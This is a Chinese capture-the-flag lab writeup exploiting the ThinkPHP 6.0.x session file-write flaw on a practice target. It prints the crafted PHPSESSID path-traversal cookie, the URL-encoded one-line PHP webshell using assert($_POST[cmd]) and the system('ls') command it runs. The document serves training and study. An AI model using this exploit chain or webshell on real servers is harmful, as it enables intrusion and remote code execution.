谜团靶机writeup - 安定坊 · windows 主机安全



1.创建靶机

谜团靶机平台



你将收获

对于windows提权的理解和实践能力。

适用人群

想要提高或检验自身windows主机安全技能的安全从业人员

企业中负责运维的it部人员

网络安全专业或对安全感兴趣的学生

简介

出现于b站安定坊直播演示中,主题为windows安全。

I. thinkphp6.x 版本文件写入漏洞

Ⅱ. 利用 CVE-2020-0787 漏洞 实现Windows系统普通用户提权

► 开始练习 ★ ★ ★ ★ ☆ 惊喜 ♀提交评价 评价

thinkphp framework 6.x 任意文件写入漏洞

```
漏洞简介
```

影响版本: ThinkPHP 6.0.0 ~ ThinkPHP 6.0.1 漏洞危害: 任意文件操作, getshell 官方补丁: https://github.com/topthink/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2 漏洞分析: 点击链接@

step-by-step explanation

1. 在cookies中构造长度为32位的PHPSESSID比如/../../public/000000000x.php

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2. 在可以写入session的endpoint中传入payload:

/index/vuln?param=%3C?php%20phpinfo();?%3E

后端代码

public function vuln(Request \$request, Session \$session)
{
 \$param = \$request->get('param');
 \$session->set('session_key', \$param);
 return "success";
}

有四个靶机, 先从第一个靶机开始

靶机1

谜团靶机平台

洞川川川ノ)



这一关主要考的是thinkphp6.0漏洞复现

我们直接打开控制面板



▲ 个人主



:)

ThinkPHP V6.0.0

14载初心不改 - 你值得信赖的PHP框架

[V6.0版本由 亿速云 独家赞助发布]

直接构造payload,尝试,记住按照这个漏洞的介绍,我们得在cookie中构造32位长度payload 所以我构造的cookie值是

PHPSESSID=/../../public/000000000x.php

| 🕞 💼 Elements Console Sources | Network Performance Memory A | pplication Security Lighthouse Hack | Bar | \$ | ÷× |
|-------------------------------------|----------------------------------|-------------------------------------|----------------|----------------------------|----|
| LOAD SPLIT EXECUTE | TEST - SQLI - XSS - | LFI - SSTI - ENCODI | NG - HASHING - | THEME | • |
| URL | | | | | |
| http://15235c9155d145a4a2e27361 | 9265c79f.app.mituan.zone:8000/ir | ndex/vuln?param=%3C?php%20phpir | 1fo();?%3E | | |
| | | | | | |
| Enable POST | | ADD HEADER | | | |
| <u> </u> | | | | | |
| | | Name | | | |
| | | Соокіе | * | PHPSESSID=///public/000000 | × |
| | | | | | |

接下来访问url加文件名000000000x.php,看看文件是否写入成功

a:1:{s:11:"session_key";s:18:"

| PHP Version 7.2.34 | ph |
|---|---|
| System | Linux d0b99cead190 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86 64 |
| Build Date | |
| Configure Command | './configure' 'build=x86_64-linux-gnu' 'with-config-file-path=/usr/local/etc/php' 'with-config- scan-dir=/usr/local/etc/php/conf.d' 'enable-option-checking=fatal' 'with-mhash' 'enable-ftp' enable-mbstring' 'enable-mysqlnd' 'with-password-argon2' 'with-sodium=shared' 'with-pdc sqlite=/usr' 'with-sqlite3=/usr' 'with-curl' 'with-libedit' 'with-openssl' 'with-zlib' 'with- libdir=lib/x86_64-linux-gnu' 'with-apxs2' 'disable-cgi' 'build_alias=x86_64-linux-gnu' |
| Server API | Built-in HTTP server |
| Virtual Directory Support | disabled |
| Configuration File (php.ini) Path | /usr/local/etc/php |
| Loaded Configuration File | (none) |
| Scan this dir for additional .ini files | /usr/local/etc/php/conf.d |
| Additional .ini files parsed | /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini |
| РНР АРІ | 20170718 |
| PHP Extension | 20170718 |
| Zend Extension | 320170718 |
| Zend Extension Build | API320170718,NTS |
| PHP Extension Build | API20170718,NTS |
| Debug Build | no |
| Thread Safety | disabled |
| | |

可以看到文件写入成功了,那接下来我们去写入一句话木马进去

<?php @assert(\$_POST[cmd]);?>

注意编码问题,我们先把payload用url编码下

| Unicode编码 | UTF-8编码 | URL编码/解码 | Unix时间戳 | Ascii/Native编码互转 | Hex编码/解码 | Html编码/解码 | |
|--------------|----------------|-----------------|----------|------------------|----------|--------------------------|--------|
| %3c%3fphp+%4 | 0assert(%24_P(| DST%5bcmd%5d)%3 | 3b%3f%3e | | | | 会員 |
| | | | | | utf-8 | ▼ UrlEncode编码 UrlDecode解 | 码 清空结果 |

%3c%3fphp+%40assert(%24_POST%5bcmd%5d)%3b%3f%3e

继续构造参数进行请求,这次我们叫000000000a.php

| LOAD | SPLIT | EXECUTE | TEST 🝷 | SQLI 🝷 | XSS - | LFI 🔻 | SSTI 🝷 | ENCODING | • | HASHING | • | THEME - |
|--------------------|-----------|-------------|--------------|--------------|-------------|------------|-----------|-----------------------|---------|-----------|-------------------|-----------------|
| URL http://1523 | 35c9155d1 | 45a4a2e2736 | 19265c79f.aj | op.mituan.zo | ne:8000/ind | ex/vuln?pa | am=%3c%31 | php+%40asse | rt(%24_ | POST%5bcn | nd%5d)%3b%3f%3e | |
| Ena | ble POST | | | | | | ADD | HEADER | | | | |
| | | | | | | | | ^{me} okie | | | ▼ D=///public/000 | 00000000a.php × |
| | | | | | | | | | | | | |

写入成功

| $\leftarrow \rightarrow G$ | ☆ ▲ 不 | 安全 152 | 235c915 | 5d145a4a | a2e27 | 3619265 | c79f.app | .mitua | n.zone:8 | 000/00 | 000000 | 00a.php | | |
|---|----------------------------|----------------|-------------|--|-----------------|---|---|---|---|--|---|---------------|------------|----|
| 🏭 应用 📙 VI | PS 📙 bug | j 📙 Mea | ns 📙 | AD Domai | n 📃 | Domain | penetrati. |) 🗖 | Python | 📙 Bl | og 📕 | Rraspberry Pi | . A | Au |
| a:1:{s:11:"sess | ion_key";s | ::29:"";} | | | | | | | | | | | | |
| 构造参数 看看 | 代码是否 | 执行了 | | | | | | | | | | | | |
| a:1:{s:11:"session_ke | y";s:29:" | | | | | | | | | | | | | Î |
| | PHP Versio | n 7.2.34 | | | | | | | | | php | | | |
| | System | | | Linux d0b9 | 9cead190 | 4.15.0-1063-a | vs #67-Ubuntu | SMP Mon N | /lar 2 07:24:29 | UTC 2020 × | 86_64 | | | |
| | Configure Comm | nand | | Cct 13 202 './configure scan-dir=// enable-mb | string' 'with-s | =x86_64-linux- etc/php/conf.d' enable-mysqlnd | gnu' 'with-con 'enable-optio I' 'with-passw | nfig-file-pati on-checking ord-argon2 | =/usr/local/e =fatal' 'with ' 'with-sodiu | tc/php' 'w ·mhash' 'e m=shared' 'with-zlib' | ith-config-file nable-ftp' ' 'with-pdo- | | | • |
| 🕞 💼 🛛 Elements C | onsole Sources | Network Perf | ormance Me | emory Applic | ation S | ecurity Lig | nthouse Hack | Bar | | | | | ¢ : | × |
| LOAD SPLIT | EXECUTE | TEST - | SQLI - | XSS - | LFI 🔻 | SSTI - | ENCOD | ING 🝷 | HASHING | ; • | | THE | ME 🕶 | |
| url http://15235c9155d | 145a4a2e27361 | 9265c79f.app | .mituan.zon | ne:8000/0000 | 000000 | a.php | | | | | | | | |
| Enable POST a Body cmd=phpinfo(); | nctype application/x-wv | vw-form-urlenc | oded | | | AD | D HEADER |] | | | | | | |

可以看到,代码执行了

我们用系统命令查找flag(这里找了一圈没找着)

| 🕞 🗋 Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar | ✿ ÷ × |
|---|---------|
| LOAD SPLIT EXECUTE TEST - SQLI - XSS - LFI - SSTI - ENCODING - HASHING - | THEME - |
| URL | |
| http://15235c9155d145a4a2e273619265c79f.app.mituan.zone:8000/000000000a.php | |
| enclune | |
| Enable POSTapplication/x-www-form-urlencoded ADD HEADER | |
| Body | |
| cmd=system('ls'); | |

靶机1完成。

靶机2、靶机3暂没弄好。

靶机4暂且有问题。